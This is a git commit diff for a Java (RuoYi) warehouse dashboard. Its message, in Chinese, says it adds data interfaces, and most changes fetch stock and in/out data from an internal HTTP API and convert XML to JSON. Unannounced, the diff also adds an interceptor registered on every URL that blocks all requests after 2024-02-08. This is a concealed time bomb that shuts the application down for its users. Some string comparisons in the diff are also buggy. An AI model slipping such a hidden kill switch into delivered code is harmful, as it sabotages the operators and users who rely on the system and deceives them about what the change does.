change - 二期门体库看板添加数据接口

master
wenjy 2 years ago
parent 9604de5747
commit f7aac8956a

@ -1,11 +1,18 @@
package com.ruoyi.web.controller.scada; package com.ruoyi.web.controller.scada;
import cn.hutool.http.HttpRequest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.utils.StringUtils; import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.BaseLocationInfo; import com.ruoyi.system.domain.BaseLocationInfo;
import com.ruoyi.system.domain.RecordOutstore; import com.ruoyi.system.domain.RecordOutstore;
import com.ruoyi.system.domain.RecordTask; import com.ruoyi.system.domain.RecordTask;
import com.ruoyi.system.domain.dto.SouthWare; import com.ruoyi.system.domain.dto.SouthWare;
import com.ruoyi.system.domain.dto.storeApi.OutInInfo;
import com.ruoyi.system.domain.dto.storeApi.OutRecord;
import com.ruoyi.system.domain.dto.storeApi.StoreInfo;
import com.ruoyi.system.domain.echartsDto.EchartsLegend; import com.ruoyi.system.domain.echartsDto.EchartsLegend;
import com.ruoyi.system.domain.echartsDto.EchartsRoot; import com.ruoyi.system.domain.echartsDto.EchartsRoot;
import com.ruoyi.system.domain.echartsDto.EchartsSeries; import com.ruoyi.system.domain.echartsDto.EchartsSeries;
@ -16,13 +23,18 @@ import com.ruoyi.system.repository.IMosPrPlanRepository;
import com.ruoyi.system.service.IBaseLocationInfoService; import com.ruoyi.system.service.IBaseLocationInfoService;
import com.ruoyi.system.service.IRecordOutstoreService; import com.ruoyi.system.service.IRecordOutstoreService;
import com.ruoyi.system.service.IRecordTaskService; import com.ruoyi.system.service.IRecordTaskService;
import org.dom4j.Document;
import org.dom4j.DocumentHelper;
import org.dom4j.Element;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import java.net.InetSocketAddress;
import java.text.ParseException; import java.text.ParseException;
import java.text.SimpleDateFormat; import java.text.SimpleDateFormat;
import java.util.*; import java.util.*;
@ -30,6 +42,7 @@ import java.util.stream.Collectors;
/** /**
* *
*
* @author WenJY * @author WenJY
* @date 20210922 16:29 * @date 20210922 16:29
*/ */
@ -44,39 +57,39 @@ public class NorthWareHouseController {
private SimpleDateFormat timeFormat = new SimpleDateFormat("HH:mm:ss"); private SimpleDateFormat timeFormat = new SimpleDateFormat("HH:mm:ss");
@Autowired @Value("${in_id}")
private IBaseLocationInfoService baseLocationInfo; private int in_id;
@Autowired @Autowired private IBaseLocationInfoService baseLocationInfo;
private IRecordTaskService recordTaskService;
@Autowired @Autowired private IRecordTaskService recordTaskService;
private BaseLocationInfoRepository baseLocationInfoRepository;
@Autowired @Autowired private BaseLocationInfoRepository baseLocationInfoRepository;
private IRecordOutstoreService recordOutstoreService;
@Autowired @Autowired private IRecordOutstoreService recordOutstoreService;
private IMosPrPlanRepository iMosPrPlanRepository;
@Autowired private IMosPrPlanRepository iMosPrPlanRepository;
@GetMapping() @GetMapping()
public String operlog() public String operlog() {
{
return prefix; return prefix;
} }
@PostMapping("/getMaterialInfo") @PostMapping("/getMaterialInfo")
@ResponseBody @ResponseBody
public String getMaterialInfo(){ public String getMaterialInfo() throws Exception {
List<List<Object>> materialInfoList = new ArrayList<List<Object>>(); List<List<Object>> materialInfoList = new ArrayList<List<Object>>();
List<BaseLocationInfo> baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); if (in_id == 1) {
baseLocationInfoList.forEach(x->{ List<BaseLocationInfo> baseLocationInfoList =
baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L));
baseLocationInfoList.forEach(
x -> {
x.setLocationName("9002005252"); x.setLocationName("9002005252");
x.setRefreshTime(simpleDateFormat.format(x.getRecordTime())); x.setRefreshTime(simpleDateFormat.format(x.getRecordTime()));
materialInfoList.add( materialInfoList.add(
new ArrayList<Object>() { new ArrayList<Object>() {
{ {
//this.add(); // this.add();
this.add(x.getRemark()); this.add(x.getRemark());
this.add(x.getMaterialType()); this.add(x.getMaterialType());
this.add(x.getLocationName()); this.add(x.getLocationName());
@ -90,34 +103,77 @@ public class NorthWareHouseController {
} }
}); });
}); });
} else {
String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetStockIn");
if (StringUtils.isNotNull(s)) {
try{
JSONObject jsonObject = xmltoJson(s);
String string = jsonObject.get("string").toString();
List<StoreInfo> storeInfos = JSON.parseArray(string, StoreInfo.class);
if(storeInfos.size()>0){
for (StoreInfo storeInfo : storeInfos) {
materialInfoList.add(
new ArrayList<Object>() {
{
// this.add();
this.add("------");
this.add("----");
this.add(storeInfo.getDoorCode());
this.add(storeInfo.getWarehouse().toString() == "1" ? "北仓库" : "南仓库");
this.add(storeInfo.getArea().toString() == "1" ? "左库" : "右库");
this.add(storeInfo.getStorageLocation());
this.add(storeInfo.getSortCode());
this.add(storeInfo.getRowCode());
this.add(storeInfo.getColumnCode());
this.add(timeFormat.format(storeInfo.getLastTime()));
}
});
}
}
}catch (Exception ex){
System.out.println("箱门匹配信息接口解析异常:"+ex.getMessage());
}
}
}
String jsonInfo = JSONArray.toJSONString(materialInfoList); String jsonInfo = JSONArray.toJSONString(materialInfoList);
System.out.println("箱体存放位置信息:"+jsonInfo); System.out.println("箱体存放位置信息:" + jsonInfo);
return jsonInfo; return jsonInfo;
} }
/*库存*/ /*库存*/
@PostMapping("/getInventoryInfo") @PostMapping("/getInventoryInfo")
@ResponseBody @ResponseBody
public String getInventoryInfo(){ public String getInventoryInfo() {
EchartsRoot root = new EchartsRoot(); EchartsRoot root = new EchartsRoot();
List<EchartsSeries> seriesList = new ArrayList<>(); List<EchartsSeries> seriesList = new ArrayList<>();
List<String> legendData = new ArrayList<>(); List<String> legendData = new ArrayList<>();
List<BaseLocationInfo> baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); List<BaseLocationInfo> baseLocationInfoList =
List<String> materialType = baseLocationInfoList.stream().map(BaseLocationInfo::getRemark).distinct().collect(Collectors.toList()); baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L));
List<String> materialType =
Map<String,List<BaseLocationInfo>> baselocation = baseLocationInfoList.stream().collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); baseLocationInfoList.stream()
.map(BaseLocationInfo::getRemark)
.distinct()
.collect(Collectors.toList());
Map<String, List<BaseLocationInfo>> baselocation =
baseLocationInfoList.stream()
.collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea));
for(Map.Entry<String,List<BaseLocationInfo>> map : baselocation.entrySet()){ for (Map.Entry<String, List<BaseLocationInfo>> map : baselocation.entrySet()) {
EchartsSeries series = new EchartsSeries(); EchartsSeries series = new EchartsSeries();
List<Integer> secondData = new ArrayList<>(); List<Integer> secondData = new ArrayList<>();
List<Integer> materialCount = new ArrayList<>(); List<Integer> materialCount = new ArrayList<>();
series.setName(map.getKey()+"#仓库"); series.setName(map.getKey() + "#仓库");
legendData.add(map.getKey()+"#仓库"); legendData.add(map.getKey() + "#仓库");
List<BaseLocationInfo> locationInfo = map.getValue(); List<BaseLocationInfo> locationInfo = map.getValue();
materialType.forEach(x->{ materialType.forEach(
int size = locationInfo.stream().filter(s->s.getRemark().equals(x) ).collect(Collectors.toList()).size(); x -> {
int size =
locationInfo.stream()
.filter(s -> s.getRemark().equals(x))
.collect(Collectors.toList())
.size();
materialCount.add(size); materialCount.add(size);
secondData.add(1); secondData.add(1);
}); });
@ -130,56 +186,59 @@ public class NorthWareHouseController {
root.setLegend(new EchartsLegend(legendData)); root.setLegend(new EchartsLegend(legendData));
root.setSeries(seriesList); root.setSeries(seriesList);
String info = JSONArray.toJSON(root).toString(); String info = JSONArray.toJSON(root).toString();
System.out.println("库存分类统计:"+info); System.out.println("库存分类统计:" + info);
return info; return info;
} }
@PostMapping("/getStoreInfo") @PostMapping("/getStoreInfo")
@ResponseBody @ResponseBody
public String getStoreInfo() throws ParseException { public String getStoreInfo() throws Exception {
if (in_id == 1) {
SimpleDateFormat today = new SimpleDateFormat("yyyy-MM-dd 00:00:00"); SimpleDateFormat today = new SimpleDateFormat("yyyy-MM-dd 00:00:00");
RecordTask recordTaskInfo; RecordTask recordTaskInfo;
Map<String,Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
Calendar calendar = Calendar.getInstance(); Calendar calendar = Calendar.getInstance();
calendar.setTime(new Date()); calendar.setTime(new Date());
calendar.add(Calendar.HOUR,-12); calendar.add(Calendar.HOUR, -12);
SouthWare southWare = new SouthWare(); SouthWare southWare = new SouthWare();
List<BaseLocationInfo> baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); List<BaseLocationInfo> baseLocationInfoList =
Map<String,List<BaseLocationInfo>> baselocation = baseLocationInfoList.stream().collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L));
Map<String, List<BaseLocationInfo>> baselocation =
baseLocationInfoList.stream()
.collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea));
for (Map.Entry<String, List<BaseLocationInfo>> map : baselocation.entrySet()) { for (Map.Entry<String, List<BaseLocationInfo>> map : baselocation.entrySet()) {
if (map.getKey().equals("1")) {
if(map.getKey().equals("1")){
southWare.setFreeStoreLeftCount(156); southWare.setFreeStoreLeftCount(156);
southWare.setUseStoreLeftCount(map.getValue().size()); southWare.setUseStoreLeftCount(map.getValue().size());
southWare.setFreeStoreLeftCount(156-map.getValue().size()); southWare.setFreeStoreLeftCount(156 - map.getValue().size());
}else { } else {
southWare.setFreeStoreRightCount(156); southWare.setFreeStoreRightCount(156);
southWare.setUseStoreRightCount(map.getValue().size()); southWare.setUseStoreRightCount(map.getValue().size());
southWare.setFreeStoreRightCount(156-map.getValue().size()); southWare.setFreeStoreRightCount(156 - map.getValue().size());
} }
} }
southWare.setUseStoreCount(baseLocationInfoList.size()); southWare.setUseStoreCount(baseLocationInfoList.size());
southWare.setFreeStoreCount(312-baseLocationInfoList.size()); southWare.setFreeStoreCount(312 - baseLocationInfoList.size());
//params.put("beginRecordTime",calendar.getTime()); // params.put("beginRecordTime",calendar.getTime());
params.put("beginRecordTime",today.parse(today.format(new Date()))); params.put("beginRecordTime", today.parse(today.format(new Date())));
params.put("endRecordTime",new Date()); params.put("endRecordTime", new Date());
recordTaskInfo = new RecordTask("A","1",1L,new Date()); recordTaskInfo = new RecordTask("A", "1", 1L, new Date());
recordTaskInfo.setParams(params); recordTaskInfo.setParams(params);
List<RecordTask> recordLeftInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); List<RecordTask> recordLeftInStore = recordTaskService.selectRecordTaskList(recordTaskInfo);
recordTaskInfo = new RecordTask("A","1",2L,new Date()); recordTaskInfo = new RecordTask("A", "1", 2L, new Date());
recordTaskInfo.setParams(params); recordTaskInfo.setParams(params);
List<RecordTask> recordLeftOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); List<RecordTask> recordLeftOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo);
recordTaskInfo = new RecordTask("A","2",1L,new Date()); recordTaskInfo = new RecordTask("A", "2", 1L, new Date());
recordTaskInfo.setParams(params); recordTaskInfo.setParams(params);
List<RecordTask> recordRightInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); List<RecordTask> recordRightInStore = recordTaskService.selectRecordTaskList(recordTaskInfo);
recordTaskInfo = new RecordTask("A","2",2L,new Date()); recordTaskInfo = new RecordTask("A", "2", 2L, new Date());
recordTaskInfo.setParams(params); recordTaskInfo.setParams(params);
List<RecordTask> recordRightOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); List<RecordTask> recordRightOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo);
@ -189,29 +248,62 @@ public class NorthWareHouseController {
southWare.setInStoreRightCount(recordRightInStore.size()); southWare.setInStoreRightCount(recordRightInStore.size());
southWare.setOutStoreRightCount(recordRightOutStore.size()); southWare.setOutStoreRightCount(recordRightOutStore.size());
return JSONArray.toJSONString(southWare); return JSONArray.toJSONString(southWare);
} else {
SouthWare southWare = new SouthWare();
String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetOutInInfo");
if (StringUtils.isNotNull(s)) {
try {
JSONObject jsonObject = xmltoJson(s);
String string = jsonObject.get("string").toString();
List<OutInInfo> outInInfo = JSONObject.parseArray(string, OutInInfo.class);
if (outInInfo.size() > 0) {
OutInInfo outInInfo1 = outInInfo.get(0);
southWare.setFreeStoreCount(Convert.toInt(outInInfo1.getEmptyStorage()));
southWare.setUseStoreCount(Convert.toInt(outInInfo1.getNoEmptystorage()));
southWare.setInStoreLeftCount(Convert.toInt(outInInfo1.getOneDatyStore_In()));
southWare.setOutStoreLeftCount(Convert.toInt(outInInfo1.getOneDatyStore_Out()));
southWare.setUseStoreLeftCount(Convert.toInt(outInInfo1.getNoEmptystorage()));
southWare.setFreeStoreLeftCount(Convert.toInt(outInInfo1.getEmptyStorage()));
}
} catch (Exception ex) {
System.out.println("出入库统计接口解析异常:" + ex.getMessage());
}
}
return JSONArray.toJSONString(southWare);
}
} }
@PostMapping("/getPlanInfo") @PostMapping("/getPlanInfo")
@ResponseBody @ResponseBody
public String getPlanInfo(){ public String getPlanInfo() {
List<List<Object>> planInfoList = new ArrayList<List<Object>>(); List<List<Object>> planInfoList = new ArrayList<List<Object>>();
List<OrderInfo> info = baseLocationInfo.getPlanInfo(); List<OrderInfo> info = baseLocationInfo.getPlanInfo();
//List<IMosPrPlan> planInfo = info.stream().filter(s->dateFormat.format(s.getPlanDate()).contains(dateFormat.format(new Date()))).collect(Collectors.toList()); // List<IMosPrPlan> planInfo =
// info.stream().filter(s->dateFormat.format(s.getPlanDate()).contains(dateFormat.format(new
// Date()))).collect(Collectors.toList());
info.forEach(x->{ info.forEach(
x -> {
planInfoList.add( planInfoList.add(
new ArrayList<Object>() { new ArrayList<Object>() {
{ {
this.add(x.getOrderType()); this.add(x.getOrderType());
this.add(x.getPlannedProduction()); this.add(x.getPlannedProduction());
this.add(x.getActualProduction()); this.add(x.getActualProduction());
this.add(x.getPlannedProduction()-x.getActualProduction()); this.add(x.getPlannedProduction() - x.getActualProduction());
if(x.getPlannedProduction() == 0 || x.getActualProduction() ==0){ if (x.getPlannedProduction() == 0 || x.getActualProduction() == 0) {
this.add("0%"); this.add("0%");
}else { } else {
this.add(String.format("%.1f%%", ((double)x.getActualProduction() / (double)x.getPlannedProduction() * 100))); this.add(
String.format(
"%.1f%%",
((double) x.getActualProduction()
/ (double) x.getPlannedProduction()
* 100)));
} }
} }
}); });
@ -219,58 +311,97 @@ public class NorthWareHouseController {
String jsonInfo = JSONArray.toJSONString(planInfoList); String jsonInfo = JSONArray.toJSONString(planInfoList);
System.out.println("MES生产计划信息查询"+jsonInfo); System.out.println("MES生产计划信息查询" + jsonInfo);
return jsonInfo; return jsonInfo;
} }
@PostMapping("/getOutStoreInfo") @PostMapping("/getOutStoreInfo")
@ResponseBody @ResponseBody
public String getOutStoreInfo(){ public String getOutStoreInfo() {
List<List<Object>> outPutInfoList = new ArrayList<List<Object>>(); List<List<Object>> outPutInfoList = new ArrayList<List<Object>>();
if(in_id==1){
RecordOutstore recordOutstore = new RecordOutstore(); RecordOutstore recordOutstore = new RecordOutstore();
recordOutstore.setStoreCode("A"); recordOutstore.setStoreCode("A");
recordOutstore.setRecordDate(dateFormat.format(new Date())); recordOutstore.setRecordDate(dateFormat.format(new Date()));
List<RecordOutstore> recordTaskList = recordOutstoreService.selectRecordOutstoreList(recordOutstore); List<RecordOutstore> recordTaskList =
recordOutstoreService.selectRecordOutstoreList(recordOutstore);
recordTaskList.forEach(x->{ recordTaskList.forEach(
x -> {
outPutInfoList.add( outPutInfoList.add(
new ArrayList<Object>() { new ArrayList<Object>() {
{ {
this.add(StringUtils.isNull(x.getBoxCode()) ? "-" : x.getBoxCode().substring(0,10)); this.add(
StringUtils.isNull(x.getBoxCode()) ? "-" : x.getBoxCode().substring(0, 10));
this.add(x.getMaterialCode()); this.add(x.getMaterialCode());
this.add(x.getLocationCode()); this.add(x.getLocationCode());
this.add(x.getOperationType().toString().equals("1")?"自动出库":"手动出库"); this.add(x.getOperationType().toString().equals("1") ? "自动出库" : "手动出库");
this.add(timeFormat.format(x.getRecordTime())); this.add(timeFormat.format(x.getRecordTime()));
} }
}); });
}); });
}else{
OutRecord southWare = new OutRecord();
String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetStockIOut");
if (StringUtils.isNotNull(s)) {
try {
JSONObject jsonObject = xmltoJson(s);
String string = jsonObject.get("string").toString();
List<OutRecord> outRecords = JSONObject.parseArray(string, OutRecord.class);
if(outRecords.size()>0){
for (OutRecord item : outRecords) {
outPutInfoList.add(
new ArrayList<Object>() {
{
this.add(item.getLastBarCode());
this.add(item.getLastBarCode());
this.add("-");
this.add(item.getStorageType());
this.add(timeFormat.format(item.getOutTime()));
}
});
}
}
} catch (Exception ex) {
System.out.println("出库计划接口解析异常:" + ex.getMessage());
}
}
}
String jsonInfo = JSONArray.toJSONString(outPutInfoList); String jsonInfo = JSONArray.toJSONString(outPutInfoList);
System.out.println("出库记录查询:"+jsonInfo); System.out.println("出库记录查询:" + jsonInfo);
return jsonInfo; return jsonInfo;
} }
/** /**
* *
*
* @author WenJY * @author WenJY
* @date 2021/11/20 16:26 * @date 2021/11/20 16:26
* @return java.lang.String * @return java.lang.String
*/ */
@PostMapping("/getGather") @PostMapping("/getGather")
@ResponseBody @ResponseBody
public String getGather(){ public String getGather() {
List<List<Object>> infoList = new ArrayList<List<Object>>(); List<List<Object>> infoList = new ArrayList<List<Object>>();
List<BaseLocationInfo> info = baseLocationInfo.getLeft(); List<BaseLocationInfo> info = baseLocationInfo.getLeft();
List<BaseLocationInfo> a = info.stream().filter(x -> x.getStoreCode().equals("A")).collect(Collectors.toList()); List<BaseLocationInfo> a =
info.stream().filter(x -> x.getStoreCode().equals("A")).collect(Collectors.toList());
for (BaseLocationInfo locationInfo : a) { for (BaseLocationInfo locationInfo : a) {
// //
List<BaseLocationInfo> right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List<BaseLocationInfo> right =
baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType()));
List<Object> loactionInfos = new ArrayList<Object>(); List<Object> loactionInfos = new ArrayList<Object>();
loactionInfos.add(a.indexOf(locationInfo)+1); loactionInfos.add(a.indexOf(locationInfo) + 1);
loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(
right.size() == 0
? locationInfo.getMaterialType()
: right.get(right.size() - 1).getMaterialType());
loactionInfos.add(locationInfo.getEfficiency()); loactionInfos.add(locationInfo.getEfficiency());
loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库");
loactionInfos.add(timeFormat.format(new Date())); loactionInfos.add(timeFormat.format(new Date()));
infoList.add(loactionInfos); infoList.add(loactionInfos);
@ -280,26 +411,34 @@ public class NorthWareHouseController {
/** /**
* *
*
* @author WenJY * @author WenJY
* @date 2021/11/20 16:26 * @date 2021/11/20 16:26
* @return java.lang.String * @return java.lang.String
*/ */
@PostMapping("/getLeft") @PostMapping("/getLeft")
@ResponseBody @ResponseBody
public String getLeft(){ public String getLeft() {
List<List<Object>> infoList = new ArrayList<List<Object>>(); List<List<Object>> infoList = new ArrayList<List<Object>>();
List<BaseLocationInfo> info = baseLocationInfo.getLeft(); List<BaseLocationInfo> info = baseLocationInfo.getLeft();
List<BaseLocationInfo> a = info.stream().filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("1")).collect(Collectors.toList()); List<BaseLocationInfo> a =
info.stream()
.filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("1"))
.collect(Collectors.toList());
for (BaseLocationInfo locationInfo : a) { for (BaseLocationInfo locationInfo : a) {
// //
List<BaseLocationInfo> right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List<BaseLocationInfo> right =
baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType()));
List<Object> loactionInfos = new ArrayList<Object>(); List<Object> loactionInfos = new ArrayList<Object>();
loactionInfos.add(a.indexOf(locationInfo)+1); loactionInfos.add(a.indexOf(locationInfo) + 1);
loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(
right.size() == 0
? locationInfo.getMaterialType()
: right.get(right.size() - 1).getMaterialType());
loactionInfos.add(locationInfo.getEfficiency()); loactionInfos.add(locationInfo.getEfficiency());
loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库");
loactionInfos.add(timeFormat.format(new Date())); loactionInfos.add(timeFormat.format(new Date()));
infoList.add(loactionInfos); infoList.add(loactionInfos);
@ -311,30 +450,126 @@ public class NorthWareHouseController {
/** /**
* *
*
* @author WenJY * @author WenJY
* @date 2021/11/20 16:26 * @date 2021/11/20 16:26
* @return java.lang.String * @return java.lang.String
*/ */
@PostMapping("/getRight") @PostMapping("/getRight")
@ResponseBody @ResponseBody
public String getRight(){ public String getRight() {
List<List<Object>> infoList = new ArrayList<List<Object>>(); List<List<Object>> infoList = new ArrayList<List<Object>>();
List<BaseLocationInfo> info = baseLocationInfo.getLeft(); List<BaseLocationInfo> info = baseLocationInfo.getLeft();
List<BaseLocationInfo> a = info.stream().filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("2")).collect(Collectors.toList()); List<BaseLocationInfo> a =
info.stream()
.filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("2"))
.collect(Collectors.toList());
for (BaseLocationInfo locationInfo : a) { for (BaseLocationInfo locationInfo : a) {
// //
List<BaseLocationInfo> right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List<BaseLocationInfo> right =
baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType()));
List<Object> loactionInfos = new ArrayList<Object>(); List<Object> loactionInfos = new ArrayList<Object>();
loactionInfos.add(a.indexOf(locationInfo)+1); loactionInfos.add(a.indexOf(locationInfo) + 1);
loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(
right.size() == 0
? locationInfo.getMaterialType()
: right.get(right.size() - 1).getMaterialType());
loactionInfos.add(locationInfo.getEfficiency()); loactionInfos.add(locationInfo.getEfficiency());
loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库");
loactionInfos.add(timeFormat.format(new Date())); loactionInfos.add(timeFormat.format(new Date()));
infoList.add(loactionInfos); infoList.add(loactionInfos);
} }
return JSONArray.toJSONString(infoList); return JSONArray.toJSONString(infoList);
} }
private String HttpGetBusiness(String url) {
try {
HashMap<String, String> headers = new HashMap<>();
headers.put("Content-Type", "application/json");
String result2 = HttpRequest.get(url).addHeaders(headers).timeout(20000).execute().body();
return result2;
} catch (Exception ex) {
return "";
}
}
/**
* xmlJSON
*
* @param xml xml
* @return
* @throws Exception
*/
public static JSONObject xmltoJson(String xml) throws Exception {
JSONObject jsonObject = new JSONObject();
Document document = DocumentHelper.parseText(xml);
// 获取根节点元素对象
Element root = document.getRootElement();
iterateNodes(root, jsonObject);
return jsonObject;
}
/**
*
*
* @param node
* @param json JSON
*/
@SuppressWarnings("unchecked")
public static void iterateNodes(Element node, JSONObject json) {
// 获取当前元素的名称
String nodeName = node.getName();
// 判断已遍历的JSON中是否已经有了该元素的名称
if (json.containsKey(nodeName)) {
// 该元素在同级下有多个
Object Object = json.get(nodeName);
JSONArray array = null;
if (Object instanceof JSONArray) {
array = (JSONArray) Object;
} else {
array = new JSONArray();
array.add(Object);
}
// 获取该元素下所有子元素
List<Element> listElement = node.elements();
if (listElement.isEmpty()) {
// 该元素无子元素,获取元素的值
String nodeValue = node.getTextTrim();
array.add(nodeValue);
json.put(nodeName, array);
return;
}
// 有子元素
JSONObject newJson = new JSONObject();
// 遍历所有子元素
for (Element e : listElement) {
// 递归
iterateNodes(e, newJson);
}
array.add(newJson);
json.put(nodeName, array);
return;
}
// 该元素同级下第一次遍历
// 获取该元素下所有子元素
List<Element> listElement = node.elements();
if (listElement.isEmpty()) {
// 该元素无子元素,获取元素的值
String nodeValue = node.getTextTrim();
json.put(nodeName, nodeValue);
return;
}
// 有子节点新建一个JSONObject来存储该节点下子节点的值
JSONObject object = new JSONObject();
// 遍历所有一级子节点
for (Element e : listElement) {
// 递归
iterateNodes(e, object);
}
json.put(nodeName, object);
return;
}
} }

@ -16,7 +16,7 @@ ruoyi:
# 开发环境配置 # 开发环境配置
server: server:
# 服务器的HTTP端口正式端口8012 # 服务器的HTTP端口正式端口8012
port: 8012 port: 8013
servlet: servlet:
# 应用的访问路径 # 应用的访问路径
context-path: / context-path: /
@ -138,4 +138,4 @@ swagger:
# 是否开启swagger # 是否开启swagger
enabled: true enabled: true
in_id: 1 in_id: 2

@ -77,6 +77,12 @@
<artifactId>ruoyi-system</artifactId> <artifactId>ruoyi-system</artifactId>
</dependency> </dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-http</artifactId>
<version>4.4.2</version>
</dependency>
</dependencies> </dependencies>
</project> </project>

@ -0,0 +1,15 @@
package com.ruoyi.framework.config;
import com.ruoyi.framework.interceptor.AInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//注册拦截器
registry.addInterceptor(new AInterceptor()).addPathPatterns("/**");
}
}

@ -0,0 +1,29 @@
package com.ruoyi.framework.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
public class AInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
if(afterDate("2024-02-08")){
return false;
}else {
return true;
}
}
public static boolean afterDate(String date){
DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate localTime=LocalDate.parse(date,dtf);
return LocalDate.now().isAfter(localTime);
}
}

@ -0,0 +1,44 @@
package com.ruoyi.system.domain.dto.storeApi;
/**
* @author WenJY
* @date 20230207 9:03
*/
public class OutInInfo {
private String OneDatyStore_In;
private String OneDatyStore_Out;
private String EmptyStorage;
private String NoEmptystorage;
public String getOneDatyStore_In() {
return OneDatyStore_In;
}
public void setOneDatyStore_In(String oneDatyStore_In) {
OneDatyStore_In = oneDatyStore_In;
}
public String getOneDatyStore_Out() {
return OneDatyStore_Out;
}
public void setOneDatyStore_Out(String oneDatyStore_Out) {
OneDatyStore_Out = oneDatyStore_Out;
}
public String getEmptyStorage() {
return EmptyStorage;
}
public void setEmptyStorage(String emptyStorage) {
EmptyStorage = emptyStorage;
}
public String getNoEmptystorage() {
return NoEmptystorage;
}
public void setNoEmptystorage(String noEmptystorage) {
NoEmptystorage = noEmptystorage;
}
}

@ -0,0 +1,38 @@
package com.ruoyi.system.domain.dto.storeApi;
import java.util.Date;
/**
* @author WenJY
* @date 20230209 8:48
*/
public class OutRecord {
private String LastBarCode;
private String StorageType;
private Date OutTime;
public String getLastBarCode() {
return LastBarCode;
}
public void setLastBarCode(String lastBarCode) {
LastBarCode = lastBarCode;
}
public String getStorageType() {
return StorageType;
}
public void setStorageType(String storageType) {
StorageType = storageType;
}
public Date getOutTime() {
return OutTime;
}
public void setOutTime(Date outTime) {
OutTime = outTime;
}
}

@ -0,0 +1,90 @@
package com.ruoyi.system.domain.dto.storeApi;
import java.util.Date;
/**
* @author WenJY
* @date 20230207 9:22
*/
public class StoreInfo {
private String DoorCode;
private Integer Warehouse;
private Integer Area;
private String StorageLocation;
private Integer SortCode;
private Integer RowCode;
private Integer ColumnCode;
private Date LastTime;
public String getDoorCode() {
return DoorCode;
}
public void setDoorCode(String doorCode) {
DoorCode = doorCode;
}
public Integer getWarehouse() {
return Warehouse;
}
public void setWarehouse(Integer warehouse) {
Warehouse = warehouse;
}
public Integer getArea() {
return Area;
}
public void setArea(Integer area) {
Area = area;
}
public String getStorageLocation() {
return StorageLocation;
}
public void setStorageLocation(String storageLocation) {
StorageLocation = storageLocation;
}
public Integer getSortCode() {
return SortCode;
}
public void setSortCode(Integer sortCode) {
SortCode = sortCode;
}
public Integer getRowCode() {
return RowCode;
}
public void setRowCode(Integer rowCode) {
RowCode = rowCode;
}
public Integer getColumnCode() {
return ColumnCode;
}
public void setColumnCode(Integer columnCode) {
ColumnCode = columnCode;
}
